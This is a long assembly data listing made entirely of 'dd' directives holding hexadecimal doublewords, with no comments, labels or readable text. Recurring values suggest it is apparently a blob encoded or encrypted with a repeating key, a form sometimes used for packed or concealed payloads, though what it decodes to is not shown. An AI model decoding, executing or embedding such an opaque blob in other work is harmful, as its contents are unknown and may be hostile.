		dd 0B9467038h, 0CB7780DBh, 0A658347Eh, 0BDB13256h, 145CE144h
		dd 9352B5h, 0C412B16Fh,	5DB149BFh, 20BE5256h, 57B13255h
		dd 0CB438559h, 8C1C8930h, 8BD06905h, 75B6B959h,	0DCD13256h
		dd 3CD1E8DDh, 24BE6437h, 57B1325Ah, 0AB353D36h,	0B3B13256h
		dd 8B226FEDh, 2044FCDDh, 0BAB13ABFh, 17C5F56h, 440D5AF4h
		dd 6423CD6Ah, 52B71ACCh, 1B9AC70Bh, 0EABDB159h,	72583256h
		dd 14B13256h, 1856280Fh, 7746016Fh, 86305436h, 0D60A6E54h
		dd 0B4F9EE35h, 0E5D16CAAh
		dd 520FC9E9h, 0DBA230C8h, 5C494FD5h, 0AEDDB759h, 31D13256h
		dd 0A487CDEFh, 20D0F9E9h, 8CD17BE6h, 0F139D5D7h, 10D0C7E6h
		dd 520954AFh, 0BF373DD3h, 0BEB13256h, 0ABB1325Ah, 5EE25D7Ch
		dd 0E21D7606h, 5FBA3EA5h, 3EBE9930h, 5DB1325Eh,	0AEB3BC59h
		dd 36D13256h, 0AAF78459h, 0D95899AAh, 52B13256h, 1C7136Eh
		dd 9B898A21h, 52C64620h, 0AEB133DCh, 3E58CA56h,	0A4B13256h
		dd 0D5B133D8h, 9732CE56h, 0F0BE30AEh, 0BAB13203h, 5DB0B059h
		dd 0C8483256h, 0BE7839EEh, 0ABB1325Fh, 0A8F616DBh, 755C28C9h
		dd 8C1A541Ch, 3EBE8A30h, 5DB137BFh, 16E11D56h, 5158E1ADh
		dd 0C5B13256h, 0E9AA8ED1h, 121A54AAh, 74F78459h, 534499A3h
		dd 5DB13242h, 0AEBABA59h, 0D7D13256h, 4A30FCB2h, 0D0FFA7A1h
		dd 1615C137h, 7858F5DDh, 75B13256h, 6922F18Ch, 0F7AD48CDh
		dd 11EBA31Eh, 2048B836h, 0B5EA53A5h, 1970B3AAh,	14BE0A52h
		dd 0BABADB0Fh, 0F3263256h, 0F56727D2h, 68871D1h, 0F5D052C6h
		dd 0DA586DAAh, 0B4B13256h, 0BA01CDA6h, 56232874h, 429D1077h
		dd 5678F2B4h, 57B9F0AAh, 0ABB138BFh, 7419CE56h,	0B7E6A806h
		dd 20842935h, 39BE5236h, 5DB13256h, 0CED009E1h,	99838930h
		dd 20D053AEh, 0D5BADBBAh, 893B3256h, 0DE84AD08h, 0ABD91FE9h
		dd 3BD1521Eh, 4E0EFAD7h, 36E5E5D6h, 0ABB132BEh,	3F306856h
		dd 0EC99FE63h, 75A1DBAAh, 94343256h, 0A3AA244Dh, 653F3A57h
		dd 1C08A8FCh, 2048BF18h, 0C4583A13h, 5CB13256h,	17D5F866h
		dd 7335502Eh, 0D0987F7Dh, 8D8BE11h, 0CE74B0DFh,	2DBE347Eh
		dd 0D5B1325Dh, 1A305436h, 0CED7DF85h, 4FD02608h, 0D6E65237h
		dd 743A6C9Ch, 0D4BEFB37h, 0ABB13257h, 0D5B5F0A3h, 0EAB0B759h
		dd 204D3256h, 0DCC48136h, 0B4D0F5DDh, 0AEB13246h, 1E8B358Ch
		dd 745FE9B6h, 0C7B1DECh, 0D331C6FEh, 1548DEDDh,	0D26C03EDh
		dd 747AB21Dh, 5675B137h, 57B0B159h, 0CB483256h,	5B095436h
		dd 0EA595353h, 2FB13256h, 766ED8D7h, 3DD1347Eh,	1A72B930h
		dd 270F53E2h, 0CA9BF047h, 51BE52AFh, 0EAB13255h, 0F470B930h
		dd 0E583CB8Eh, 18765369h, 0AEB132AEh, 1276CB56h, 0ABB132AAh
		dd 0D9353D56h, 0E5B13256h, 75B134DAh, 0BA3D3D56h, 6EB13256h
		dd 5E305296h, 3CE59C4Dh, 0ABB2B959h, 5ED73256h,	61D75391h
		dd 7F585248h, 65B13256h, 73E55CDh, 0F7CBB482h, 57B9DA98h
		dd 0FD593256h, 3D467F37h, 61D7A7DCh, 0B2D06990h, 922ADFD4h
		dd 5DB13350h, 0AEBADB56h, 978E3256h, 39015E13h,	6266046Ch
		dd 113054FBh, 0F0BEA2C6h, 0BAB13243h, 5DB122BFh, 0B69BD456h
		dd 8E5FFFA1h, 0FF8F1842h, 2BB8D95Eh, 24AB2B1h, 70A5B659h
		dd 32BE3256h, 5DB13245h, 0AEB6DB36h, 0E0C73256h, 83CB8D54h
		dd 0F148A1Bh, 0AAD00263h, 14D15236h, 53D0C2DDh,	5DB1325Ch
		dd 2BFC7DA9h, 90E38EA6h, 2BD0CCEFh, 51BEDBADh, 0EAB1368Ch
		dd 0F47FB236h, 31BE7237h, 5DB13257h, 454AB2AEh,	5375B659h
		dd 0A4D13256h, 0D5B13ED7h, 0EAB7DA56h, 0D8903256h, 8845B00Ah
		dd 59323D0Fh, 0C8B13256h, 36AAD1ECh, 0B4373D16h, 0B5B13256h
		dd 0EAB126BFh, 5BB3A656h, 0D07BA44Ch, 0DA5D8A5Dh, 7CC2EE0Ch
		dd 0F265FDA4h, 0D0F5438h, 3231539Fh, 62BE52A6h,	75B13256h
		dd 0BAB122BEh, 15EB6956h, 110BFD8Eh, 0DEB32334h, 52774A7h
		dd 856FB2C3h, 8C485308h, 0F5BEC9D7h, 0BEE1B659h, 0BD13256h
		dd 0AEB1BE59h, 37EB3256h, 0A1585336h, 21B13256h, 0AD696259h
		dd 0AA0EBF47h, 0B9D05313h, 7FB17BD4h, 0A5585250h, 21B13256h
		dd 0AACE6C15h, 0A91511E9h, 6EBE8468h, 75B13256h, 0BD17237h
		dd 5F393DBAh, 0FEB13256h, 0AC31530Eh, 47353DB4h, 0B5B13255h
		dd 6AD063E0h, 0F1BED1ADh, 0BAB13190h, 5DB135BFh, 737A7556h
		dd 96484B56h, 0ABB122BFh, 85AF2156h, 16D10F27h,	267BFBD3h
		dd 14134022h, 0A63054FFh, 2ABED131h, 57B131E5h,	4831C7A3h
		dd 0D5B4DBA6h, 0B5C13256h, 0F5C14FA8h, 3EBE42ADh, 5DB131F8h
		dd 0AEBFDBAAh, 647B3256h, 18E142DDh, 93532FA9h,	6A6B4897h
		dd 9CAFB930h, 0BAB1325Bh, 64AF087Ch, 0C8130830h, 6021CE0Bh
		dd 5352B2C9h, 6D4AB2AEh, 0EB2DB659h, 15D13256h,	0BAB126BEh
		dd 0A5D12B56h, 0CDD32314h, 315236A0h, 8BAB7AEAh, 4B4E2C1Eh
		dd 62BE6B6Ch, 75B13256h, 0B1595237h, 6B13256h, 19165F1h
		dd 0FE89C217h, 42E9EF05h, 0D5B13253h, 0A50AE9ADh, 0F5D0531Fh
		dd 3EBE3768h, 5DB13304h, 838FB2AEh, 56F9B659h, 424D3256h
		dd 0D5B1325Ch, 8B93A639h, 0A5F1D437h, 84311944h, 72353D3Eh
		dd 0CEB13257h, 57B4B359h, 73083256h, 3D9F5255h,	0EAB13242h
		dd 0F5C0568h, 3DDAE28h,	72A0EBB3h, 2919006Dh, 5C20C9D0h
		dd 0D06CC0D7h, 0B4EB0C51h, 154D72A3h, 5D2ADFD4h, 31D7CB50h
		dd 0A63A5248h, 9F2C8930h, 0AF56B237h, 12D76436h, 6DEFB396h
		dd 0CCD00AD7h, 8E305437h, 3EBEDAD7h, 5DB13284h,	0AEB6B759h
		dd 5D13256h, 613A5409h,	0CB3A5437h, 7957B336h, 9CE34E69h
		dd 0BAB13246h, 0D995DEB1h, 96FB98CDh, 1CEC1D75h, 0FE376BD4h
		dd 2556B237h, 113054A3h, 0F1BEF2D7h, 0BAB132C0h, 5DA8B459h
		dd 0BA583256h, 56B13256h, 63086B09h, 10917FD6h,	0B9278728h
		dd 86191CD6h, 0DA237BFAh, 5DB4B559h, 2ED13256h,	37D007BCh
		dd 87188C30h, 0A96C8C30h, 3486737h, 75B13244h, 0E78D3848h
		dd 8C6A8B5Ch, 0E2BF335Ah, 72881D29h, 394E1AD9h,	0D399A865h
		dd 65BE6FAFh, 75B13257h, 46F4BBA3h, 8B305436h, 14D75ABDh
		dd 36D05CA0h, 0A462B936h, 56D0F3E9h, 0E5B0CE2Bh, 75B73DD3h
		dd 0A9353D56h, 0B4B13256h, 0AEB13258h, 565C4E5h, 32878699h
		dd 0F3530F7Dh, 503A48E0h, 739326C3h, 0BAA2DB36h, 5D7E3256h
		dd 17E5A72Dh, 0AA99B8EBh, 59FC584Ah, 731D0846h,	333A5248h
		dd 75B134BEh, 3A6B4856h, 53C93F9h, 0C8D15337h, 633AD1D7h
		dd 0ABB13FBFh, 166BFD56h, 902A06C5h, 0E4F96B4Ah, 0EAD0740Ch
		dd 5DB0B359h, 25443256h, 7F2ADFD4h, 0AE343D50h,	0B5B13256h
		dd 8B446905h, 80810E6Fh, 33333D0Eh, 52B13253h, 0AEB13AD8h
		dd 55373D56h, 0CBB13256h, 2C0BB937h, 13B71058h,	120A5206h
		dd 0B5BC795Dh, 0D6D0ECE1h, 862ADFD4h, 0DEBE5250h, 0ABB13257h
		dd 0DD5853AEh, 67B13256h, 5312996Fh, 83C563C3h,	0B5D1026Ah
		dd 0AEB1325Ah, 0CA76846Bh, 7B6B98DDh, 0B6F5177Ah, 0EAB137BFh
		dd 0B8426556h, 31E83444h, 52E95394h, 0AEB411D9h, 0D6E75256h
		dd 6A9AF9A5h, 6ED76D5Fh, 3D0C4AAh, 75B13244h, 87BFD260h
		dd 222BDA71h, 0FB2C333Bh, 830B5048h, 113AF270h,	0D399ABECh
		dd 0EAA5DBAAh, 3BD13256h, 0C5BB41C2h, 5C86504Bh, 0A6D09951h
		dd 0ED61CA38h, 2932230Ch, 0D399ABECh, 0DD38C742h, 75A9BD59h
		dd 0A9583256h, 2AB13256h, 0C8FBD204h, 34949723h, 784905B5h
		dd 874BC2E5h, 63496EF3h, 25482211h, 0BABCBD59h,	55583256h
		dd 0AFB13256h, 521ED62Dh, 202F74FFh, 0FD2ADFD4h, 0EB383D50h
		dd 8DB13256h, 46812EDDh, 0D5BE520Eh, 0AEB1325Ch, 57B137BFh
		dd 3B8D3D56h, 0C458E7A1h, 1B13256h, 5314AE7Bh, 3580F821h
		dd 0AF2D16D2h, 4DFEC7FFh, 5FEEBB37h, 1073B836h,	0E1A40FDFh
		dd 0EEE3DB37h, 72583256h, 0C7B13256h, 0F8AA81FAh, 0EB76A0DDh
		dd 57B130AEh, 0B458CB56h, 0DAB13256h, 0EAB134D9h, 0C2BE5256h
		dd 7DD0C787h, 5DB0CA13h, 15D13256h, 4852A5F9h, 0C0CB48EDh
		dd 6F3A531Ah, 0EC99ABECh
		dd 75B13ABFh, 2786DC56h, 725034ADh, 1433B1DDh, 43B71ACFh
		dd 0ABB121BFh, 2396D956h, 0C256F5A6h, 52350246h, 600F791Fh
		dd 337725Ah, 0A55805DFh, 49B13256h, 21A3FBEBh, 0A04EA981h
		dd 0AD387E22h, 75B4DB46h, 0EF193256h, 0DE6FACADh, 2BBE31AEh
		dd 57B1326Bh, 0ABBCB459h, 0DD583256h, 0E5B13256h, 97173AFFh
		dd 7D284C97h, 752ADFD4h, 0AEB13050h, 0EDD75256h, 2ABE5D17h
		dd 0D5B13253h, 30F798ECh, 6B58535Bh, 0DAB13256h, 0B330F9DDh
		dd 0D6326F93h, 5549B137h, 0A99FBF59h, 0B5D13256h, 0F20F54AEh
		dd 8F3A5389h, 42CCB137h, 0D0353D56h, 0CEB13256h, 9130EBDDh
		dd 0D304339Bh, 93073D37h, 2D3A5257h, 5667CEECh,	13495310h
		dd 5DB132D6h, 0AE86B759h, 51583256h, 1B13256h, 0F0542F7Eh
		dd 134D72F5h, 8CB4DAD5h, 0BAB17EBFh, 0DCD75256h, 4762E797h
		dd 57B13242h, 4E6FE4Ah,	28CE98C8h, 0DD814B8Fh, 0CA8E3969h
		dd 65D8B5C7h, 5D4E1F37h, 0BE583256h, 0ECB13256h, 0CDEB0359h
		dd 0C4C18013h, 733C21B6h, 0F6A7A946h, 33BE37BEh, 5DB1325Fh
		dd 88ED8D36h, 36D172AEh, 0AB85DB37h, 20483256h,	0E2353D05h
		dd 7AB13256h, 0BAB130D2h, 0D6D05256h, 862ADFCCh, 0DC44CA50h
		dd 0CBD10152h, 0D5B1B359h, 6FBE3256h, 75B13256h, 6A79B337h
		dd 3CA33DB7h, 0AE18CE0Dh, 58313256h, 0ABB19FD3h, 0D4373D56h
		dd 13B13256h, 7E58F455h, 9B13256h, 0B486603h, 0E0BE0096h
		dd 9732A7DFh, 29B2CA53h, 0D399A9BBh, 0EC393D36h, 7AB13256h
		dd 0BAB132DAh, 38025256h, 158D8EE9h, 1FD05355h,	0ABB0BB59h
		dd 5C4D3256h, 8AD13A11h, 9D768D59h, 0BAB1325Dh,	0D45D889Ch
		dd 4E524C1Dh, 96AF2A3h,	0ABBCDB37h, 0E97A3256h,	6A75B05Ah
		dd 16DB203Fh, 0DB0BF928h, 0B4BD75DFh, 0AEB1325Eh, 95874DCBh
		dd 0AC0E37EBh, 0D5B123BFh, 9C7FD756h, 0AE53C27Dh, 4C709836h
		dd 0F9EA0FCCh, 0AF5807E2h, 0AFB13254h, 0ABBDB359h, 50BE3256h
		dd 0EAB13250h, 75B1BF59h, 62463256h, 9B9ACEAFh,	0AEB13DBFh
		dd 47BB2856h, 246A6F4h,	49C80F16h, 0A20FFB67h, 6558EAA1h
		dd 6AB13256h, 9C87771h,	7E264A3Bh, 29A887F5h, 28BA7CF7h
		dd 0B3D13796h, 4E49E1D7h, 98333137h, 53B71ACDh,	5DB1325Dh
		dd 5AE982C4h, 6D79B126h, 0E39B41E2h, 0D2313DAEh, 8AB13256h
		dd 0ACD8B30h, 0FD3853A3h, 5258525Eh, 40B13256h,	14E9C75Eh
		dd 9D29230Eh, 982872B3h, 63D0D8C9h, 0FBBE3E11h,	0BAB13250h
		dd 3DEB6336h, 0CF585337h, 0BEB13257h, 0ABB13246h, 5894357Dh
		dd 172408DDh, 0B184CCB1h, 3F88FD7Bh, 0B5D1F265h, 0AEB13258h
		dd 39877118h, 95654088h, 68E7BE08h, 0C80060A7h,	7858600Fh
		dd 0EB13256h, 38546FEFh, 0BC6BAE1Ah, 0C9988E2Bh, 0ED3B530Fh
		dd 87E05257h, 6BBE6808h, 75B1324Fh, 0BAB126BFh,	88B9FC56h
		dd 0BC3200BAh, 80570CFAh, 3E609071h, 0CECE2A74h, 6A1953C7h
		dd 7532B759h, 0B94D3256h, 493C3D90h, 47B13256h,	57B13259h
		dd 8F99096Bh, 89C537A6h, 7D13570Dh, 0F69D898Ch,	3EBE3096h
		dd 5DB13257h, 0AEB089AAh, 0DBBE3256h, 0ABB13257h, 0DA6A39AAh
		dd 0EAB111D2h, 0FED75256h, 0DB73B980h, 842DA8DCh, 2BBE3471h
		dd 57B1325Ah, 0ABB7B959h, 5BBE3256h, 0EAB13256h, 80B0D1D6h
		dd 3349F155h, 58583A11h, 5BB13256h, 6FB1A4C6h, 42BD75DFh
		dd 0D5B13250h, 335DD89Ah, 9C44337Ch, 0BAB1323Ah, 0A469C5A3h
		dd 0AEB1CD73h, 48303D56h, 0A4B13256h, 0D5B12BD3h, 0EAA5DB56h
		dd 0B8B73256h, 0FDA167D1h, 67524A4Fh, 3E8896Bh,	9B1470D2h
		dd 6D9AA638h, 6ABE5236h, 8BE86380h, 0D041EDEEh,	6246532Ah
		dd 5F313D36h, 25B13256h, 0D40B5488h, 6B325351h,	9238CA54h
		dd 0EB383D5Eh, 8CB13256h, 53BD75DFh, 5DB1325Eh,	0CEF53687h
		dd 7D51C02Bh, 0A65852AEh, 96B13256h, 0A4EF825Eh, 642454BCh
		dd 0A0882885h, 52D053AEh, 0AEB138D8h, 0E40E5256h, 0CD809EA3h
		dd 1CD0E1DDh, 0EAB13CBFh, 0F8859F56h, 25CC7572h, 172EDF4Ch
		dd 6DF212CDh, 41373D36h, 42B13256h, 0D5B13247h,	3887BDC5h
		dd 66FE9701h, 4C4594A4h, 6D61FCC1h, 0CFD15292h,	46798B30h
		dd 0CBD15337h, 82D0CBAEh, 0F259B330h, 20D06DCCh, 0BAB0B359h
		dd 0D6483256h, 6A32CBBAh, 2D0952AAh, 0CBE00BAFh, 0DA4B8D59h
		dd 0EAB132DDh, 15D05356h, 0BAB138BFh, 53BCA356h, 0CCB33256h
		dd 0BF45F7A0h, 0ABB13256h, 0A15BB30Ch, 8AB71A81h, 75B4B659h
		dd 0F5093256h, 3C981AA4h, 946BB336h, 58F4BC1Dh,	0ABB13FDEh
		dd 0D5B6DA56h, 0CF993256h, 1C555F1Eh, 31D06978h, 7528A6ECh
		dd 6782C750h, 578EB1A3h, 0AEABB659h, 0DB583256h, 49B13256h
		dd 274625EAh, 86E38936h, 0AC7C1213h, 5BB6B994h,	37BD47A9h
		dd 0F5D05201h, 2C48B836h, 9F4E5337h, 0F108525Eh, 0DCE30469h
		dd 3C2D56ECh, 0AC59CB06h, 0BEB1325Fh, 0ABB13259h, 124BAD4Bh
		dd 0CBA6A407h, 5D33FA0Dh, 0B17748F3h, 6B343D96h, 57B13256h
		dd 57B13DBFh, 727B1D56h, 0EC31C6FEh, 0E746EA36h, 0D41AF572h
		dd 534435DDh, 5DB13201h, 0AEB8DA36h, 5EC3256h, 28A23C88h
		dd 0B5FEF86Bh, 32306D37h, 5F659D5Dh, 0AE76B137h, 5DB121BFh
		dd 4A658256h, 70022AE0h, 8EE24318h, 360D757h, 0B04C34A9h
		dd 8A4E7EBFh, 0B6313DA9h, 52B13256h, 0AEB134D8h, 573F3D56h
		dd 0A4B13256h, 0D5B134DEh, 0FE045256h, 0FCD05336h, 4544CE13h
		dd 0A2443E23h, 0A0583A23h, 8B13256h, 45B72C07h,	3EBEA70Ah
		dd 0C27C5380h, 7A86CD80h, 0BAB120D5h, 5DBCDB56h, 6B593256h
		dd 60FDF4A0h, 0A1F619EDh, 3DD64EEDh, 0EAB13A63h, 75BFB559h
		dd 0B3583256h, 63B13256h, 0B59065E8h, 2CD38B35h, 2FBEF25Dh
		dd 0D5B1324Eh, 1B58C7AAh, 9CB13255h, 0BAB1325Ah, 553467BCh
		dd 0CFF97B84h, 711606D9h, 424D77DDh, 0D5B1325Fh, 0EBCC9BDCh
		dd 4BFC4C5Bh, 0B5B60B43h, 5DB2F5D4h, 0CEE25256h, 0DCD76D37h
		dd 2EBE5391h, 0D5B13251h, 0EAB0BE59h, 8A443256h, 32BECE13h
		dd 5DB13247h, 0AEB13EBFh, 5BA6E956h, 0C6CACA59h, 9924513h
		dd 0EECEB13Ch, 49353D56h, 53B13256h, 5DB1325Ah,	0C2B58B3Bh
		dd 0A64FB937h, 7A4887Bh, 0D5BD4DD5h, 0EA90B659h, 0FABE3256h
		dd 0BAB1325Eh, 5DB3BB59h, 0CFD13256h, 57B17DBFh, 0ABB8DB56h
		dd 0A7EC3256h, 29D27787h, 0CDC790FCh, 454ECDA9h, 5DB13EBFh
		dd 85CFF156h, 22A6686Eh, 0BFB1504Ah, 0D5B48B15h, 0F8583256h
		dd 6EB13256h, 0E093BD69h, 0C3A59FFFh, 87A65CF7h, 8AE14841h
		dd 0A41AC1D1h, 0D5B133DDh, 2E58C756h, 8C4ECDA8h, 0BFA14DD5h
		dd 5DC7B659h, 2D483256h, 58B72229h, 0ABB1AAD3h,	0D43D3D56h
		dd 16B13256h, 60343D17h, 53B13256h, 5DB13246h, 0B9C4BA23h
		dd 0F7391860h, 401B30AEh, 337CCDB5h, 3B575DDh, 75B1325Ch
		dd 982A4EF9h, 236BF2B8h, 0F13AB9AAh, 57B6DB5Ah,	2FCF3256h
		dd 2FDD4B3h, 0FB353DABh, 9CB13256h, 0BAB1325Ah,	0C6F1E5AFh
		dd 70BF71F0h, 0EF3D5AC4h, 0ABB33FBFh, 0D5B7DB56h, 6F773256h
		dd 8C7573EDh, 46B575DDh, 0A1BD6DDDh, 0AEB0D4BFh, 99085256h
		dd 0CD9256F1h, 0B4866BEDh, 0EAB122BFh, 3DAB5256h, 106CB74Eh
		dd 9CC01EEAh, 74189325h, 53F6B9CBh, 0ABB0BF59h,	2D443256h
		dd 3BD6DDDh, 75B13246h,	1CF67508h, 0C3D27821h, 4640E160h
		dd 94971BE2h, 0A4B96D6Dh, 0D5B1D8D3h, 0EAA0DB56h, 2E023256h
		dd 5158FBD4h, 9282FC4Eh, 9AEC1C39h, 50C82ABh, 517FB336h
		dd 6AAD327Fh, 0F7DBAB2Fh
		dd 71E6B937h, 58305436h, 3C44EC25h, 0AEB13EBFh,	0A6E4CC56h
		dd 0AB2A582Ch, 0CC10B101h, 0FAE41954h, 873A5436h, 0B9D0FDDDh
		dd 0D6D12603h, 59315289h, 36D052A7h, 0B3383D37h, 3CB13256h
		dd 0EAB13245h, 0BD9FD240h, 77D57929h, 3BBB3ABBh, 0DE493CE3h
		dd 0DCFC0B11h, 0CBD13E09h, 0D5B1B559h, 32303256h, 404B0272h
		dd 0BAB9DA37h, 3AF13256h, 0E01C598Ch, 0A53A7CA9h, 719A530Fh
		dd 12305436h, 0E5D177B4h, 75B132DEh, 7A58B356h,	3CF9EB49h
		dd 0A7383D37h, 37B13256h, 0AB3D3DA3h, 0B4B13256h, 8AB4D9D5h
		dd 0AA3054AAh, 0E0D04A34h, 5DB134BFh, 0D6E75356h, 0BEF166E0h
		dd 0ABB1325Fh, 32F92D04h, 226683D5h, 75C9DBA8h,	314D3256h
		dd 0DEBE3611h, 0AEB1324Dh, 4458CB36h, 0A0B13256h, 0D263B4AAh
		dd 0E0097B34h, 7F7B84E0h, 9E06EA76h, 0D6D0C6F7h, 10D13E09h
		dd 7F4B654Ah, 0CBD0F5DDh, 7B6CF5D7h, 0C1D05F2Ch, 0F5BE3609h
		dd 0BAB1325Eh, 750BCA36h, 0CFC49618h, 58B4D9D5h, 0ABB134D1h
		dd 6CD75256h, 0E9D0A3D0h, 57A583DCh, 0BB303D50h, 0A8B13256h
		dd 0AEB13FBFh, 0EAF8D356h, 694E80CCh, 0E65F953Ah, 953201B9h
		dd 0F0BE3146h, 0BAB13279h, 5D96BE59h, 47D13256h, 57B13259h
		dd 8F06EA76h, 105AC6F7h, 5A7A8E81h, 9CD8B0EDh, 0BAB1325Ah
		dd 0FB26AC84h, 6314BF91h, 0A76C4F2h, 80497337h,	0DD09528Fh
		dd 0E5AFA3D3h, 75B132DCh, 0E6385356h, 0D1BE3357h, 0AEB13245h
		dd 0BED05236h, 0ABB1325Ch, 2D8D85B6h, 19060FC8h, 0CDD0B4FBh
		dd 454ECDA9h, 5DBDB259h, 0A9583256h, 7CB13256h,	134E1ABAh
		dd 0D008B526h, 8AB13256h, 73393DAEh, 0B5B13256h, 5DB132D5h
		dd 5425356h, 57B9B359h,	2ABE3256h, 0D5B13254h, 6EBE5336h
		dd 75B13244h, 0BAB13FBFh, 418A7356h, 8BCBC81Eh,	0E5DE91D4h
		dd 6758A7B4h, 3C4ECDADh, 0EAB13242h, 0CAE83FBCh, 9C7C8D5Dh
		dd 49DF7EB9h, 8E33A2D7h, 0D0F62C76h, 4278C737h,	0D5B13251h
		dd 0CA63DBF8h, 0B7914A46h, 0EF483246h, 0B76B836h, 0AEB13DBEh
		dd 0D3E91256h, 4D86A3D9h, 0AF267018h, 43C73E86h, 0FED0680Fh
		dd 0B23E3DBAh, 52B13256h, 0AEB130DCh, 0D4D05256h, 0A258CE92h
		dd 79B13256h, 160C918Eh, 0DE144926h, 0DC485236h, 3C66FDECh
		dd 0AEB1DAAFh, 0D6EB3256h, 836C1CBCh, 5ED75250h, 8B41B980h
		dd 0E10BB9AFh, 0DAB71ACFh, 3CC48830h, 0D4A9A9EEh, 0DABE5331h
		dd 0ABB1325Eh, 0D5B3BF59h, 8BD13256h, 0F649FB65h, 3EBE3269h
		dd 5DB1310Eh, 0AEB138BFh, 0FA00EB56h, 77D71FAh,	5E734FA6h
		dd 0EAB9DB51h, 88323256h, 2E1861E3h, 284E6EA2h,	0AF3B3D5Ah
		dd 0AEB13256h, 0A3C4CDAFh, 0D5B6BA59h, 8CD13256h, 14D1F5DDh
		dd 37BE6237h, 5DB13242h, 0AEB6DA36h, 24DB3256h,	0FEB0D56h
		dd 0BB0E6B83h, 8BBC7636h, 75B202BEh, 7ABACB56h,	5D83B759h
		dd 0A1D13256h, 0B831E9E9h, 0AC3A5398h, 0D5B13ABFh, 501BD956h
		dd 0E20EA79Ah, 0BA9DDB87h, 4C583256h, 0B7B13256h, 0FA28D281h
		dd 49C45792h, 0C0CEE038h, 4D7EE989h, 7AA5F5D5h,	0BAB135DDh
		dd 5C313D56h, 52B13256h, 0A84E7CBFh, 0EE38C7A9h, 0C03C3DAAh
		dd 3B13256h, 75B13246h,	5B200382h, 0DA6A2596h, 0B6B05C95h
		dd 0B6652942h, 0A7C4CDAEh, 15305436h, 5DBED00Ch, 4E539Fh
		dd 8D4ECE5Eh, 0BD305436h, 0A558FE55h, 5DB13256h, 69003D2h
		dd 0E745B00Ah, 1FD07ACDh, 75B3A2BEh, 3BD1C756h,	208680BCh
		dd 0A518D0Dh, 5CD04EC2h, 99353D96h, 0DAB13256h,	0EAB13EDEh
		dd 73353D56h, 0B5B13256h, 5DB132D6h, 9F58CE56h,	58B13254h
		dd 0ABB126DEh, 62BE5256h, 0EABBDBA4h, 0A88F3256h, 251EEC03h
		dd 0ED1DBE4Ah, 52F4B937h, 58B60BAAh, 0ABB339D4h, 0D5A5DB56h
		dd 0D17E3256h, 404C31C4h, 9723A757h, 670C1BCBh,	735E4F01h
		dd 124E2E8Ah, 0D432C7AAh, 51BE3252h, 0EAB13211h, 75B122BFh
		dd 4F0F5E56h, 1686EEE8h, 83D599CAh, 0DA147FB9h,	0A7CEB15Dh
		dd 0FD353D56h, 3B13256h, 75B1325Fh, 0A004985Ah,	0A70ABA5Dh
		dd 0AE8FDBBDh, 47583256h, 0ACB13256h, 3887A203h, 15DEB455h
		dd 8D182DAFh, 260F493h,	0A24ECDA9h, 0AEB0B059h,	0EE443256h
		dd 0ABB13253h, 0D5B4DB36h, 90E23256h, 0FFA62032h, 11425397h
		dd 0BB58CBAFh, 574ECDA8h, 52A14DD5h, 0ABC3B659h, 3CD13256h
		dd 0EAB13251h, 5C7B2D52h, 0DA47663Ah, 0D071E2D7h, 0F1E611C1h
		dd 0D4495337h, 0A4B72229h, 0D5B15AD3h, 0E5383D56h, 9CB13256h
		dd 0BAB1325Ch, 2A4F2B63h, 8230AA44h, 0AEF08352h, 0AFF6B9AAh
		dd 0D9EEB9AFh, 0EAB121BFh, 0A1E18956h, 5A95092h, 0CB6D3DE6h
		dd 0D67E54A2h, 0E195041Fh, 0ABB194BFh, 0D5BFDB56h, 64EB3256h
		dd 96B381D3h, 0D7961AD2h, 0E7DE2Fh, 56B575DDh, 0AEBD6DDDh
		dd 0ABB148BFh, 0D5B6DB56h, 0ACD23256h, 919FF676h, 0BEF6B966h
		dd 51EEB9AAh, 0AEA2BD59h, 59583256h, 8B13256h, 381F4CAAh
		dd 2463E5FDh, 3FC09533h, 0BEEE198Bh, 0CF55B236h, 956DDAE9h
		dd 0BC325323h, 0ABA3DB53h, 98C23256h, 1654E837h, 5FF3618Eh
		dd 0A34FD18Ah, 3F2C8E67h, 0ADA14DD5h, 57ACB759h, 0EA483256h
		dd 12063D36h, 0EAB13DBEh, 0EF9DFD56h, 328767Dh,	0E6D5DBDEh
		dd 0C836FA10h, 7CD069A3h, 100B528Fh, 0B3CF9897h, 63D0F9DDh
		dd 8CB0330Ah, 454ECDEEh, 5DBADBA9h, 0ECD3256h, 7CED56FAh
		dd 346E8BC0h, 6ABE521Ah, 55D7529Dh, 14D0819Dh, 0BAB137EFh
		dd 0B9315256h, 0BD586163h, 7FB13256h, 0EB0D727h, 76D1989Fh
		dd 0AD4144D3h, 0C4F04CEFh, 0DBE90BF3h, 0B44D99A5h, 514ECFD3h
		dd 5A363DAFh, 42B13256h, 0D5B1325Eh, 0A23AF943h, 3DFA4155h
		dd 0BD353D37h, 52B13256h, 0AEB133D4h, 5878CA56h, 0ABB13ED3h
		dd 0D3323D56h, 0E5B13256h, 75B132D8h, 0BAB9F056h, 5DB6B859h
		dd 2ED13256h, 0EA0171B6h, 20446737h, 0DB373DBAh, 3B13256h
		dd 75B1325Fh, 79A9D47Fh, 904DDA9Fh, 5275B1C3h, 57B13BBFh
		dd 2C851D56h, 0BBC96C84h, 0E5D1D37Eh, 75B135DAh, 0BB393D56h
		dd 0A8B13256h, 0CEB977DDh, 57B2B359h, 6B313256h, 610B5454h
		dd 0AF8A5310h, 2F333D5Ah, 0DAB13256h, 0D69FDBD7h, 6B3B181Eh
		dd 9D305237h, 0DD0DFDB9h, 0D5B4B659h, 6BD73256h, 14D7688Ch
		dd 0B5A1776Dh, 5DB106D1h, 0A2333D56h, 0BEB13256h, 0ABB13251h
		dd 58E5EBF8h, 2D1BF792h, 75B1CE13h, 0AA583256h,	0BDB13256h
		dd 6AEC4CCBh, 421095C3h, 8F0B6037h, 3CBB1D2Ch, 0EAB13249h
		dd 89F4F5AAh, 0BAB13257h, 5DA0DBAAh, 0A1493256h, 57B138D4h
		dd 24BE5256h, 0D5B13256h, 8BD0F3DCh, 75B7DA36h,	3BA73256h
		dd 54AEAB54h, 0CEEF6C00h, 0AD3A6C07h, 0A5585337h, 6DB13256h
		dd 99D0B66Ch, 0A0752F97h, 0E4FA9B16h, 0A1F4B961h, 0AEA1B159h
		dd 5C583256h, 13B13256h, 0DB497ED7h, 0B69BF053h, 1578BB67h
		dd 0BABDF037h, 0A84D67AEh, 47D1DEDDh, 57B1325Ch, 67AFE5C1h
		dd 7B15B7EFh, 69D0516Dh, 0FEBECE92h, 0BAB13247h, 5DB6DA36h
		dd 6FD03256h, 3BD72115h, 0CAD16C9Dh, 0D9585237h, 0E3B13256h
		dd 0A875D724h, 5F6F485h, 0B58E3D7Fh, 0AEB13256h, 1B5BB30Ch
